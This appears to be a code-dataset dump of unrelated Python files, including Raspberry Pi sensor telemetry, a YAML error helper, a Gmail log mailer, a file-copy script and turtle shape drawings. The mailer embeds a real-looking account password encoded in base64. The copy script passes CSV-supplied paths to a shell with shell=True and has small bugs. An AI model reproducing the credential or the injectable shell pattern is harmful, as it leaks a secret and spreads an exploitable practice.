print(\"acc\"+str(pred[1]))\r\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"309863741","text":"\n# -*- coding: utf-8 -*-\n\"\"\"A module to send system sensor values to Home Assistant\n\nSee https://www.github.com/garethhowell/system_sensors\n\"\"\"\n# Always prefer setuptools over distutils\nfrom setuptools import setup, find_packages\n# To use a consistent encoding\nfrom codecs import open\nimport sys\n\nsys.path.insert(0, 'src')\nfrom system_sensors import __version__\n\n\ndef readme():\n with open('README.rst') as f:\n return f.read()\n\n\nwith open('LICENSE') as f:\n license = f.read()\n\n\nsetup(\n name='system_sensors',\n version=__version__,\n description='Collect data from Pi system sensors and send via mqtt',\n long_description=readme(),\n long_description_content_type='text/x-rst',\n url='https://www.github.com/garethhowell/system_sensors.git',\n author='Gareth Howell',\n author_email='gareth.howell@gmail.com',\n license=license,\n classifiers=[\n\t\t# How mature is this project? Common values are\n \t# 3 - Alpha\n \t# 4 - Beta\n \t# 5 - Production/Stable\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Other Audience',\n 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',\n 'Programming Language :: Python :: 3',\n\t 'Topic :: Other/Nonlisted Topic',\n 'Operating System :: Raspbian'\n\t],\n keywords='raspbian python RaspberryPi',\n packages=find_packages('src'),\n package_dir={'': 'src'},\n include_package_data=True,\n install_requires=[\n 'paho-mqtt==1.5.0',\n 'psutil==5.6.6',\n 'pytz==2019.2',\n 'PyYAML==5.2'\n ],\n data_files=[\n\t ('/etc/system_sensors', ['etc/system_sensors/settings_example.yaml']),\n ('/etc/systemd/system', ['etc/systemd/system_sensors.service'])\n\t],\n scripts=[\n 'src/system_sensors/system_sensors.py'\n ]\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"435319015","text":"\"\"\"\nYAML Error handling.\n\"\"\"\n\nfrom contextlib import contextmanager\nfrom typing import Optional, Iterator\n\nfrom yaml import Mark, Node\n\n\nclass YamlError(Exception):\n\n def __init__(\n self,\n message: Optional[str] = None,\n mark: Optional[Mark] = None,\n cause: Optional[Exception] = None,\n ):\n self._message = message\n self._mark = mark\n self._cause = cause\n\n def __str__(self) -> str:\n lines = []\n\n if self._message is not None:\n lines.append(self._message)\n if self._cause:\n lines.append(str(self._cause))\n if self._mark:\n lines.append(str(self._mark))\n return '\\n'.join(lines)\n\n\n@contextmanager\ndef on_node(node: Node) -> Iterator:\n try:\n yield\n except Exception as error:\n raise YamlError(mark=node.start_mark, cause=error)\n","sub_path":"preacher/compilation/yaml/error.py","file_name":"error.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"500981258","text":"import smtplib\nimport logging\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.base import MIMEBase\nfrom email import encoders\nfrom email.utils import formatdate\n\n\nclass Emailer(object):\n\n def __init__(self):\n self.developer = 'msantdev@gmail.com'\n self.recipients = ['matteosantama@gmail.com', 'orosenfeld6@gmail.com']\n self.username = 'bXNhbnRkZXY=\\n'.decode('base64')\n self.psswd = 'd2h0cmFkMW5n\\n'.decode('base64')\n self.logger = logging.getLogger(__name__)\n\n\n # send a message with a specified subject and body to recipients list\n def send_mail(self, subject, body):\n server_ssl = smtplib.SMTP_SSL('smtp.gmail.com', 465)\n server_ssl.ehlo()\n server_ssl.login(self.username, self.psswd)\n\n msg = MIMEText(body)\n msg['Subject'] = subject\n msg['From'] = self.developer\n msg['To'] = ', '.join(self.recipients)\n\n self.logger.info('Sending email with subject %s', subject)\n\n server_ssl.sendmail(self.developer, self.recipients, msg.as_string())\n server_ssl.close()\n\n\n # send an email containing the 'file_name' file to the developer\n def send_log(self, file_name):\n server_ssl = smtplib.SMTP_SSL('smtp.gmail.com', 465)\n server_ssl.ehlo()\n server_ssl.login(self.username, self.psswd)\n\n msg = MIMEMultipart()\n msg['From'] = self.developer\n msg['To'] = self.developer\n msg['Date'] = formatdate(localtime=True)\n msg['Subject'] = 'App Logs'\n\n text = 'Find the logs for odds-are attached'\n msg.attach(MIMEText(text))\n\n part = MIMEBase('application', 'octet-stream')\n with open('./output.log', 'rb') as file:\n part.set_payload(file.read())\n encoders.encode_base64(part)\n part.add_header('Content-Disposition', 'attachment; filename=\"{}\"'.format(file_name))\n msg.attach(part)\n\n self.logger.info('Sending log email')\n\n server_ssl.sendmail(self.developer, self.developer, msg.as_string())\n server_ssl.close()\n","sub_path":"emailer.py","file_name":"emailer.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"66051265","text":"import os\nimport argparse\nimport subprocess\nimport multiprocessing\nimport pandas as pd\nfrom shutil import copyfile\nfrom itertools import repeat\nfrom multiprocessing import Pool, freeze_support\n\n\n\ndef RunKneadDataParallel(F_list, R_list):\n #numOfprocess = len(R1List)\n #pool = Pool(processes=numOfprocess)\n pool = Pool(processes=20)\n arguments = zip(F_list, R_list)\n pool.map(RunKneadData, iterable=arguments)\n pool.close()\n pool.join()\n pool.terminate()\n\ndef RunGunzip(F_list, R_list):\n cmd = \"gunzip -k \"\n subprocess.call(cmd, shell=True)\n\ndef RunCpF(F_list, ouputDir):\n print(F_list)\n cmd = \"cp \" + F_list + \" \" + ouputDir \n subprocess.call(cmd, shell=True)\ndef RunCpR(R_list, ouputDir):\n print(F_list)\n cmd = \"cp \" + R_list + \" \" + ouputDir \n subprocess.call(cmd, shell=True)\n\ndef RunCpFParallel(F_list, ouputDir):\n #numOfprocess = len(R1List)\n #pool = Pool(processes=numOfprocess)\n pool = Pool(processes=20)\n pool.starmap(RunCpF, zip(F_list, repeat(ouputDir)))\n pool.close()\n pool.join()\n pool.terminate()\n \ndef RunCpRParallel(R_list, ouputDir):\n #numOfprocess = len(R1List)\n #pool = Pool(processes=numOfprocess)\n pool = Pool(processes=20)\n pool.starmap(RunCpF, zip(R_list, repeat(ouputDir)))\n pool.close()\n pool.join()\n pool.terminate()\n \nparser = argparse.ArgumentParser(description='RunKneadData')\nparser.add_argument('-i', '--input', dest='fileDir', type=str, required=True,\n help=\"the path of the reads\")\nparser.add_argument('-o', '--output', dest='OpDir', type=str, required=True,\n help=\"the output path of reads\")\nargs = parser.parse_args()\n\ninputfile = str(args.fileDir)\nouputDir = os.path.abspath(args.OpDir)\n\n#print(inputfile)\ndf = pd.read_table(inputfile)\nF_list = df[\"forward-absolute-filepath\"].tolist() \nR_list = df[\"reverse-absolute-filepath\"].tolist() \n#print(F_list)\n#RunCpFParallel(F_list, ouputDir)\nRunCpRParallel(R_list, ouputDir)","sub_path":"Scripts/gunzip-2.py","file_name":"gunzip-2.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"56256172","text":"import paho.mqtt.client as mqtt\nimport time\nimport threading\nimport piplates.DAQCplate as DAQC\nfrom datetime import datetime\n#----------INPUTS\n\nhe_reg_max_pressure = 5000\nhe_reg_volt_range_low = 1\nhe_reg_volt_range_high = 5\n\nhe_bot_max_pressure = 10000\nhe_bot_volt_range_low = 1\nhe_bot_volt_range_high = 5\n\npnu_max_pressure = 300\npnu_volt_range_low = 1\npnu_volt_range_high = 5\n\naux_max_pressure = 1500\naux_volt_range_low = 0.5\naux_volt_range_high = 4.5\n\n#----------------\n\nHOST = \"192.168.0.10\"\nTOPIC_1 = \"RELAY\"\nTOPIC_2 = \"DATA\"\nTOPIC_3 = \"STATE\"\n\nprint(\"\\nDAQC Server Ready.\")\nprint(\"\\nWaiting to establish connection....\\n\")\n\ndef on_connect(client, userdata, flags, rc):\n\tprint(\"Connected with result code \"+str(rc))\n\terror = rc\n\treturn error\n\ndef on_disconnect(client, userdata,rc=0):\n\tprint(\"Connection Lost.\")\n\tclient.loop_stop()\n\ndef on_message(client, userdata, msg):\n\tcalldata(str(msg.payload))\n\nclient = mqtt.Client()\nclient.on_connect = on_connect\nclient.on_message = on_message\nclient.on_disconnect = on_disconnect\nclient.connect(HOST, 1883, 60)\nclient.loop_start()\n\nprint(\"Connection Established\")\n\ndef pressure_convert(data, max_pressure, low_volt, high_volt, tof):\n\tvolt_range = high_volt - low_volt\n\tif tof:\n\t\tdata = data*2\n\tresult = str((max_pressure/volt_range)*(data-low_volt))\n\treturn result\n\ndef compare(volt_src, data):\n\tif volt_src == '24v':\n\t\treturn int(data >= 1)\n\telif volt_src == 'bat':\n\t\treturn int(data <= 1)\n\telif volt_src == 'ign':\n\t\treturn int(data >= 3)\n\ndate_timestr = datetime.now().strftime(\"%F-%T\")\nf = open(date_timestr, \"w+\")\n\nwhile(1):\n\t\tign_key = compare('ign', DAQC.getADC(1,0)) # IGN key\n\t\tpres_key = compare('24v', DAQC.getADC(1,1)) # Press Key\n\t\tbreakwire = compare('bat', DAQC.getADC(1,2)) # Breakwire\n\t\tlnch_key = compare('24v', DAQC.getADC(1,3)) # Launch key\n\t\tmpv_switch = compare('24v', DAQC.getADC(1,4)) # MPV switch\n\t\tcont = compare('bat', DAQC.getADC(1,5)) # Continuity Check\n\t\tign_switch = compare('ign', DAQC.getADC(1,6)) # IGN switch\n\t\tign_bat_v = DAQC.getADC(1,7) # IGN Battery Voltage\n\t\tign_state = DAQC.getDINbit(1,0) # IGN state\n\t\tch4_state = DAQC.getDINbit(1,1) # CH4 state\n\t\tlox_state = DAQC.getDINbit(1,2) # LOX state\n\t\the_reg_raw = DAQC.getADC(0,0) # HE REG\n\t\the_bot_raw = DAQC.getADC(0,1) # HE BOTTLE\n\t\tpnu_raw = DAQC.getADC(0,2) # PNU PRES\n\t\taux_raw = DAQC.getADC(0,3) # NOT USED\n\t\tch4_hall = compare('24v', DAQC.getADC(0,4)) # CH4 Hall\n\t\tlox_hall = compare('24v', DAQC.getADC(0,5)) # LOX Hall\n\n\t\the_reg_pres = pressure_convert(he_reg_raw, he_reg_max_pressure, he_reg_volt_range_low, he_reg_volt_range_high, 1)\n\t\the_bot_pres = pressure_convert(he_bot_raw, he_bot_max_pressure, he_bot_volt_range_low, he_bot_volt_range_high, 0)\n\t\tpnu_pres = pressure_convert(pnu_raw, pnu_max_pressure, pnu_volt_range_low, pnu_volt_range_high, 0)\n\t\taux_pres = pressure_convert(aux_raw, aux_max_pressure, aux_volt_range_low, aux_volt_range_high, 0)\n\n\t\tif breakwire == 0:\n\t\t\tDAQC.setDOUTbit(1,3)\n\t\tif breakwire == 1:\n\t\t\tDAQC.clrDOUTbit(1,3)\n\n\n\t\tdata_send_arr = (he_reg_pres, he_bot_pres, pnu_pres, aux_pres, ch4_hall, lox_hall, breakwire, cont)\n\t\tstate_send_arr = (ign_key, pres_key, ign_state, lnch_key, mpv_switch, ch4_state, ign_switch, lox_state, ign_bat_v)\n\n\t\tdata_send_str = ', '.join([str(element) for element in data_send_arr])\n\t\tstate_send_str = ', '.join([str(element) for element in state_send_arr])\n\n\t\tfilestr = time.strftime(\"%F, %T, \") + str(state_send_arr) + str(data_send_arr) + '\\n'\n\t\tf.write(filestr)\n\n\t\tclient.publish(TOPIC_3, state_send_str)\n\t\tprint(state_send_str + '\\n')\n\n\t\tclient.publish(TOPIC_2, data_send_str)\n\t\tprint(data_send_str + '\\n')\n\n\t\ttime.sleep(0.1)\n\nf.close()\n","sub_path":"Python/rs/DAQv2.py","file_name":"DAQv2.py","file_ext":"py","file_size_in_byte":3810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"381349534","text":"# coding=gbk\nimport pandas as pd\n#查看数据\ndef start_read():\n # 读取csv格式的数据\n df = pd.read_csv('C:\\\\Users\\\\53581\\\\Desktop\\\\doubanpachong.csv', encoding='utf-8',index_col=0)\n # 查看数据维度\n print(df.shape)\n # 查看数据信息\n print(df.info() )\n # 查看各列的名称\n print(df.columns )\n # 查看列的数据类型\n print(df['id'].dtype)\n\n#去除重复值\ndef remove_duplicates(): #去除重复值\n # 读取csv格式的数据\n df = pd.read_csv('C:\\\\Users\\\\53581\\\\Desktop\\\\doubanpachong.csv', encoding='utf-8',index_col=0)\n # 删除含有空值的行\n df.dropna(how='any')\n # 判断重复数据记录\n isDuplicated = df.duplicated()\n print(isDuplicated)\n # 以\"id\"为基准来删除重复值\n db = df.drop_duplicates(['id'])\n # 保存csv格式的数据\n db.to_csv('C:\\\\Users\\\\53581\\\\Desktop\\\\doubanpachong.csv')\n\n#重新命名标题\ndef rename_column():\n try:\n # 读取csv格式的数据\n df = pd.read_csv('C:\\\\Users\\\\53581\\\\Desktop\\\\doubanpachong.csv', encoding='gbk',index_col=0)\n # 列的重命名\n print(df.columns)\n db = df.rename(columns={ 'id': 'ID'})\n # 查看各列的名称\n print(db.columns)\n # 保存csv格式的数据\n db.to_csv('C:\\\\Users\\\\53581\\\\Desktop\\\\doubanpachong.csv')\n except:\n print(\"请输入正确的列名!\")\n print(\"wrong column name!\")\n\n#检查出现的重复电影个数\ndef cheak():\n # 读取csv格式的数据\n df = pd.read_csv('C:\\\\Users\\\\53581\\\\Desktop\\\\doubanpachong.csv', encoding='gbk', index_col=0)\n # 判断重复数据记录\n a=list(df.duplicated())\n print(\"重复出现的电影个数:\")\n print(a.count(True))\n print(\"预处理完成!\")\n\nstart_read()\nremove_duplicates()\ncheak()\n#修改列名\n#rename_column()","sub_path":"padouban/Preprocessing.py","file_name":"Preprocessing.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"289197661","text":"#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\n@author: AC4Fun\n@license: huifangshuyuan.com\n@contact: ximuzmzj@gmail.com\n@file: 217. Contains Duplicate.py\n@time: 2022-01-10 08:01\n@desc: doc\nGiven an integer array nums, return true if any value appears at least twice in the array, and return false if every element is distinct.\n\n\n\nExample 1:\n\nInput: nums = [1,2,3,1]\nOutput: true\nExample 2:\n\nInput: nums = [1,2,3,4]\nOutput: false\nExample 3:\n\nInput: nums = [1,1,1,3,3,4,3,2,4,2]\nOutput: true\n\n\nConstraints:\n\n1 <= nums.length <= 105\n-109 <= nums[i] <= 109\n\"\"\"\n\n# 先快排,然后遍历一次判断。或者用hash表\nclass Solution:\n def containsDuplicate(self, nums: List[int]) -> bool:\n nums_hash = {}\n for e in nums:\n if e in nums_hash:\n return True\n else:\n nums_hash[e] = 1\n return False\n\n","sub_path":"leetcode/217. Contains Duplicate.py","file_name":"217. Contains Duplicate.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"289045606","text":"users = []\nnew_user={}\ndef create_user():\n new_user['name'] = input(\"What is your name: \")\n new_user['age'] = input(\"What is your age: \")\nchoose = 1\nwhile choose!= 0:\n choose= int(input(\"1.New user\\n2.List of users\\n0.Quit\\nOption: \"))\n if choose == 1:\n create_user()\n users.append(new_user)\n elif choose == 2:\n print(users)\n\ndef pritar(message):\n print(message)\n\npritar(\"oi\")\n\ndef agrs(arg1,arg2, default='luz'):\n print(arg1+\" \"+arg2+\" \"+default)\n\nagrs(arg2='asd', arg1='abc')\nagrs('bbb','aaa')\nagrs('bbb','aaa','ccc')\n\n#mid is an optional argument\ndef title(name,surname,midname=''):\n return name.title()+\" \"+surname.title()\n\nprint(title('ricardo','ribeiro'))\n\n#Passar por valor\ndef nao_mod(lista):\n lista[1]='dd'\n\n\nliste = ['a','b','c']\nnao_mod(liste[:])\nprint(liste)\nnao_mod(liste)\nprint(liste)\n","sub_path":"functions/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"648119524","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom math import floor\nimport operator\n\nfrom dbgmsg import debug\n\ndef Hare(resultados, esc):\n debug(\"{0} escaños a repartir\".format(esc))\n votos = sum(resultados.values())\n escpp = dict()\n esct = 0\n rem = dict()\n\n resultados['Otros'] = 0\n q = round(float(votos)/float(esc))\n debug(\"El cociente es {0}\".format(q))\n\n for k in resultados.keys():\n m = resultados[k]\n e = floor(m/q)\n rem[k] = m % q\n escpp[k] = int(e)\n esct += e\n debug(\"{0}, {1} votos, {2} escaños antes del resto\".format(k, resultados[k], e))\n\n debug(\"Restos de los partidos: {0}\".format(rem))\n\n revrem = sorted(rem.iteritems(), key=operator.itemgetter(1), reverse=True)\n \n debug(revrem)\n\n for i in revrem:\n debug(\"{0} tiene un resto de {1} votos\".format(i[0], i[1]))\n if(esc - esct > 0 and i[0] != 'Otros'):\n debug(\"Quedan {0} escaños por repartir\".format(esc-esct))\n debug(\"{0} obtiene un escaño extra\".format(i[0]))\n esct += 1\n escpp[i[0]] += 1\n elif i[0] == 'Otros':\n pass\n else:\n debug(\"No quedan escaños por repartir\")\n debug(\"{0} no obtiene escaños adicionales\".format(i[0]))\n\n for i in escpp.keys():\n if(i != 'Otros'):\n debug(\"{0}: {1}\".format(i, escpp[i]))\n\n return escpp\n\n","sub_path":"hare.py","file_name":"hare.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"279175122","text":"'''\r\nDate - 8-4-2021\r\nAuthor - Prajwal Ghadigaonkar\r\nAim - Find a quote from a famous person you admire. Print the quote and the\r\nname of its author. Your output should look something like the following,\r\nincluding the quotation marks: Albert Einstein once said, “A person who\r\nnever made a mistake never tried anything new.”\r\n'''\r\n\r\nAuthor = 'Linux Torvald'\r\n\r\nMessage = 'Talk is Cheap \\nShow me the Code'\r\n\r\nprint(Author, 'once said', Message)","sub_path":"Assignment 5/Ex 4.py","file_name":"Ex 4.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"144368772","text":"# coding=utf-8\n# 详细配置说明请参考httpappengine/engine/config.py\nDEBUG = True\n\n# 服务器监听地址。\nHOST = \"0.0.0.0\"\nPORT = 8888\n\n# 需要载入的Action 模块\nACTIONS = [\n \"action\",\n #\"plugs.qiniudn\"\n]\n\nSUPPORT_DJANGO = True\nDJANGO_SETTINGS_MODULE = \"django_demo.settings\"\nDJANGO_URLS = [\n # \"/demo\"\n]\n\nUSE_PDB = True","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"342417914","text":"import os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"1, 2, 3\"\nimport cv2\nimport pandas as pd\nimport torch\nfrom torch import optim\nfrom augmentations.augmix import RandomAugMix\nfrom augmentations.gridmask import GridMask\nfrom augmentations.hair import Hair, AdvancedHairAugmentationAlbumentations\nfrom augmentations.microscope import MicroscopeAlbumentations\nfrom augmentations.color_constancy import ColorConstancy\nfrom losses.arcface import ArcFaceLoss\nfrom losses.focal import criterion_margin_focal_binary_cross_entropy\nfrom model.seresnext import seresnext\nfrom model.effnet import EffNet, EffNet_ArcFace\nfrom utils import *\nfrom albumentations.augmentations.transforms import Equalize, Posterize, Downscale\nfrom albumentations import (\n PadIfNeeded, HorizontalFlip, VerticalFlip, CenterCrop, \n RandomCrop, Resize, Crop, Compose, HueSaturationValue,\n Transpose, RandomRotate90, ElasticTransform, GridDistortion, \n OpticalDistortion, RandomSizedCrop, Resize, CenterCrop,\n VerticalFlip, HorizontalFlip, OneOf, CLAHE, Normalize,\n RandomBrightnessContrast, Cutout, RandomGamma, ShiftScaleRotate ,\n GaussNoise, Blur, MotionBlur, GaussianBlur, \n)\nn_fold = 5\nfold = 0\nSEED = 24\nbatch_size = 60\nsz = 512\nlearning_rate = 3e-3\npatience = 3\naccum_step = 1\nopts = ['normal', 'mixup', 'cutmix']\nchoice_weights = [0.84, 0.08, 0.08]\ngpu_ids = [1, 2]\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nmixed_precision = True\nuse_meta = False\npretrained_model = 'hybrid'\nmodel_name = f'{pretrained_model}_dim_{sz}'\n# model_name = 'efficientnet-b6_trial_stage1_fold_0'\nmodel_dir = 'model_dir'\nhistory_dir = 'history_dir'\nload_model = False\nfreeze_upto = -1 # Freezes upto bottom n_blocks\nif load_model and os.path.exists(os.path.join(history_dir, f'history_{model_name}.csv')):\n history = pd.read_csv(os.path.join(history_dir, f'history_{model_name}.csv'))\nelse:\n history = pd.DataFrame()\n\nimagenet_stats = ([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\nn_epochs = 60\nTTA = 6\nbalanced_sampler = False\npseudo_lo_thr = 0.10\npseudo_up_thr = 0.70\n\ntrain_aug =Compose([\n ShiftScaleRotate(p=0.9,rotate_limit=180, border_mode= cv2.BORDER_REFLECT, value=[0, 0, 0], scale_limit=0.25),\n OneOf([\n Cutout(p=0.3, max_h_size=sz//16, max_w_size=sz//16, num_holes=10, fill_value=0),\n # GridMask(num_grid=7, p=0.7, fill_value=0)\n ], p=0.20),\n RandomSizedCrop(min_max_height=(int(sz*0.8), int(sz*0.8)), height=sz, width=sz, p=0.5),\n AdvancedHairAugmentationAlbumentations(p=0.3),\n MicroscopeAlbumentations(0.1),\n # RandomAugMix(severity=3, width=1, alpha=1., p=0.3),\n OneOf([\n # Equalize(p=0.2),\n Posterize(num_bits\n =4, p=0.4),\n Downscale(0.40, 0.80, cv2.INTER_LINEAR, p=0.3) \n ], p=0.2),\n OneOf([\n GaussNoise(var_limit=0.1),\n Blur(),\n GaussianBlur(blur_limit=3),\n # RandomGamma(p=0.7),\n ], p=0.3),\n HueSaturationValue(p=0.4),\n HorizontalFlip(0.4),\n VerticalFlip(0.4),\n # ColorConstancy(p=0.3, always_apply=False),\n Normalize(always_apply=True)\n ]\n )\nval_aug = Compose([Normalize(always_apply=True)])\ndata_dir = 'data'\nimage_path = f'{data_dir}/train_768'\ntest_image_path = f'{data_dir}/test_768'\n# pseduo_df = pd.read_csv('submissions/sub_946.csv')\n# df = pd.read_csv(f'{data_dir}/folds.csv')\ngen_challenge = {'lower extremity': 2, 'torso':3, 'head/neck':0, 'oral/genital':5, 'palms/soles':4, 'upper extremity':1}\n# meta_features = ['sex', 'age_approx', 'site_head/neck', 'site_lower extremity', 'site_oral/genital', 'site_palms/soles', 'site_torso', 'site_upper extremity', 'site_nan']\nmeta_features = ['sex','age_approx','anatom_site_general_challenge']\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"582553165","text":"import turtle\nimport math\n\nclass shapes():\n\tdef sides(self, no):\n\t\tpass\n\tdef draw(self):\n\t\tpass\n\nclass conic(shapes):\n\tdef sides(self):\n\t\tprint(\"I dont have sides.\")\n\nclass circle(conic):\n\tdef __init__(self, no):\n\t\tself.__rad = no\n\tdef sides(self):\n\t\tconic().sides()\n\tdef draw(self, size):\n\t\twn = turtle.Screen() \n\t\twn.setup(360,360)\n\t\twn.delay(20)\n\t\tskk = turtle.Turtle()\n\t\tskk.circle(size)\n\t\twn.clear()\n\tdef area(self):\n\t\tself.area = 3.14 * self.__rad * self.__rad\n\t\treturn self.area\n\nclass rectangle(shapes):\n\tdef __init__(self, no1, no2):\n\t\tself.__height = no1\n\t\tself.__width = no2\n\tdef sides(self, no):\n\t\tprint(\"I Have \" + no + \" sides.\")\n\tdef draw(self):\n\t\twn = turtle.Screen() \n\t\twn.setup(360,360)\n\t\tskk = turtle.Turtle()\n\t\twn.delay(20)\n\t\tskk.penup()\n\t\tskk.setx(0)\n\t\tskk.sety(10)\n\t\tskk.pendown()\n\t\tskk.forward(80)\n\t\tskk.left(90)\n\n\t\tskk.forward(40)\n\t\tskk.left(90)\n \n\t\tskk.forward(80) \n\t\tskk.left(90)\n \n\t\tskk.forward(40)\n\t\tskk.left(90) \n\t\twn.clear()\n\tdef area(self):\n\t\treturn self.__height * self.__width\n\nclass square(shapes):\n\tdef __init__(self, no1):\n\t\tself.__height = no1\n\tdef sides(self, no):\n\t\tprint(\"I Have \" + no + \" sides.\")\n\tdef draw(self):\n\t\twn = turtle.Screen() \n\t\twn.setup(360,360)\n\t\tskk = turtle.Turtle()\n\t\twn.delay(20)\n\t\tskk.forward(50)\n\t\tskk.left(90)\n\n\t\tskk.forward(50)\n\t\tskk.left(90)\n \n\t\tskk.forward(50) \n\t\tskk.left(90)\n \n\t\tskk.forward(50)\n\t\tskk.left(90) \n\t\twn.clear()\n\tdef area(self):\n\t\treturn self.__height * self.__height\n\nclass triangle(shapes):\n\tdef __init__(self, base, hei):\n\t\tself.__height = hei\n\t\tself.__base = base\n\tdef sides(self, no):\n\t\tprint(\"I Have \" + no + \" sides.\")\n\tdef draw(self):\n\t\twn = turtle.Screen() \n\t\twn.setup(360,360)\n\t\tskk = turtle.Turtle()\n\t\twn.delay(20)\n\t\tskk.penup()\n\t\tskk.setx(-50)\n\t\tskk.sety(50)\n\t\tskk.pendown()\n\t\tskk.forward(80)\n\t\tskk.left(120)\n\n\t\tskk.forward(80)\n\t\tskk.left(120)\n \n\t\tskk.forward(80) \n \n\t\twn.clear()\n\tdef area(self):\n\t\treturn self.__height * self.__base\n\nclass pentagon(shapes):\n\tdef __init__(self, base, hei):\n\t\tself.__border = base\n\t\tself.__radius = hei\n\tdef sides(self, no):\n\t\tprint(\"I Have \" + no + \" sides.\")\n\tdef draw(self):\n\t\twn = turtle.Screen() \n\t\twn.setup(360,360)\n\t\tskk = turtle.Turtle()\n\t\twn.delay(20)\n\t\tskk.penup()\n\t\tskk.setx(-30)\n\t\tskk.sety(100)\n\t\tskk.pendown()\n\t\tfor i in range(5):\n\t\t\tskk.forward(80)\n\t\t\tskk.right(72) \n \n\t\twn.clear()\n\tdef area(self):\n\t\treturn (5 * (int (self.__border) * int (self.__radius) )) / 2\n\nclass parallelogram(shapes):\n\tdef __init__(self, base, hei):\n\t\tself.__base = base\n\t\tself.__height = hei\n\tdef sides(self, no):\n\t\tprint(\"I Have \" + no + \" sides.\")\n\tdef draw(self):\n\t\twn = turtle.Screen() \n\t\twn.setup(360,360)\n\t\tskk = turtle.Turtle()\n\t\twn.delay(20)\n\t\tskk.penup()\n\t\tskk.setx(-50)\n\t\tskk.sety(80)\n\t\tskk.pendown()\n\t\tfor i in range(1, 3):\n\t\t\tskk.forward(100)\n\t\t\tskk.right(60)\n\t\t\tskk.forward(50)\n\t\t\tskk.right(120)\n\t\twn.clear()\n\tdef area(self):\n\t\treturn self.__base*self.__height\n\nclass hexagon(shapes):\n\tdef __init__(self, side):\n\t\tself.__s = side\n\tdef sides(self, no):\n\t\tprint(\"I Have \" + no + \" sides.\")\n\tdef draw(self):\n\t\twn = turtle.Screen() \n\t\twn.setup(360,360)\n\t\tskk = turtle.Turtle()\n\t\twn.delay(20)\n\t\tskk.penup()\n\t\tskk.setx(-50)\n\t\tskk.sety(80)\n\t\tskk.pendown()\n\t\tfor i in range(6):\n\t\t\tskk.forward(100)\n\t\t\tskk.right(60)\n\t\twn.clear()\n\tdef area(self):\n\t\treturn ((3 * math.sqrt(3) * (self.__s * self.__s)) / 2)\n\n\nclass ellipse(conic):\n\tdef __init__(self, rad1, rad2):\n\t\tself.__a = rad1\n\t\tself.__b = rad2\n\tdef sides(self):\n\t\tconic().sides()\n\tdef draw(self):\n\t\twn = turtle.Screen() \n\t\twn.setup(400,400)\n\t\tskk = turtle.Turtle()\n\t\twn.delay(20)\n\t\tskk.up()\n\t\tskk.goto(-140,-75)\n\t\tskk.down()\n\t\tskk.seth(-45)\n\t\tskk.circle(200,90)\n\t\tskk.circle(100,90)\n\t\tskk.circle(200,90)\n\t\tskk.circle(100,90)\n\t\twn.clear()\n\tdef area(self):\n\t\treturn 3.142 * self.__a * self.__b\n\n\nclass heptagon(shapes):\n\tdef __init__(self, side):\n\t\tself.__s = side\n\tdef sides(self, no):\n\t\tprint(\"I Have \" + no + \" sides.\")\n\tdef draw(self):\n\t\twn = turtle.Screen() \n\t\twn.setup(360,360)\n\t\tskk = turtle.Turtle()\n\t\twn.delay(20)\n\t\tskk.penup()\n\t\tskk.setx(-50)\n\t\tskk.sety(80)\n\t\tskk.pendown()\n\t\tfor i in range(7):\n\t\t\tskk.forward(100)\n\t\t\tskk.right(51.42)\n\t\twn.clear()\n\tdef area(self):\n\t\treturn (1/2) * 7 * self.__s * 7.268\n\nclass rhombus(shapes):\n\tdef __init__(self, dia1, dia2):\n\t\tself.__d1 = dia1\n\t\tself.__d2 = dia2\n\tdef sides(self, no):\n\t\tprint(\"I Have \" + no + \" sides.\")\n\tdef draw(self):\n\t\twn = turtle.Screen() \n\t\twn.setup(360,360)\n\t\tskk = turtle.Turtle()\n\t\twn.delay(20)\n\t\tskk.penup()\n\t\tskk.setx(-50)\n\t\tskk.sety(80)\n\t\tskk.pendown()\n\t\tfor i in range(1, 3):\n\t\t\tskk.forward(100)\n\t\t\tskk.right(60)\n\t\t\tskk.forward(100)\n\t\t\tskk.right(120)\n\t\twn.clear()\n\tdef area(self):\n\t\treturn (self.__d1 * self.__d2) / 2\n\n\ndef main():\n\tprint(\"About Circle\")\n\tcircles = circle(10)\n\tcircles.sides()\n\tcircles.draw(50)\n\tarea = 